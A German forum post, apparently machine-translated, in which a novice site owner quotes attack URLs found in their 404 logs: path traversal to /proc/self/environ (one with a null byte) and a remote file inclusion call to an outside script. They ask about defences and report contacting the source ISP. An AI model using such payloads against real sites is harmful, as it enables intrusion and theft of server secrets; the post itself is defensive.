Beim Durchsuchen meiner 404-Protokolle sind mir die folgenden zwei URLs aufgefallen, die beide einmal vorkamen:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
und
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
Die betreffende Seite library.php
erfordert eine type
Variable mit einem halben Dutzend verschiedener zulässiger Werte und dann eine id
Variable. So könnte eine gültige URL sein
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
und die IDs werden alle durchlaufen, mysql_real_escape_string
bevor sie zum Abfragen der Datenbank verwendet werden.
Ich bin ein Anfänger, aber es scheint mir, dass diese beiden Links einfache Angriffe gegen die Webroot sind?
1) Wie schützt man sich neben einem 404 am besten vor solchen Dingen?
2) Soll ich die verantwortlichen IP (s) permabanieren?
EDIT: habe auch gerade diesen bemerkt
/library.php=http://www.basfalt.no/scripts/danger.txt
EDIT 2: Die störende IP für alle drei Angriffe war 216.97.231.15
die eines ISPs namens Lunar Pages, der sich etwas außerhalb von Los Angeles befindet.
EDIT 3: Ich habe beschlossen, den ISP am Freitagmorgen Ortszeit anzurufen und das Problem mit demjenigen zu besprechen, den ich am Telefon erreichen kann. Ich werde die Ergebnisse in ungefähr 24 Stunden hier veröffentlichen.
EDIT 4: Am Ende schickte ich ihren Admins eine E-Mail und sie antworteten zuerst, dass "sie sich darum kümmern" und dann einen Tag später mit "Dieses Problem sollte jetzt behoben sein". Leider keine weiteren Details.
type
teilt dem Skript mit, welches zu verwenden ist (obwohl durch ein IF $_GET['type'] == 'thing') {} ESLE...
, nicht wie ein direkter Link include 'type.php'
) und das id
wird durch mysql_real_escape_string ausgeführt und das wird für Abfragen verwendet. Wenn ich das weiß, bin ich immer noch in Sicherheit?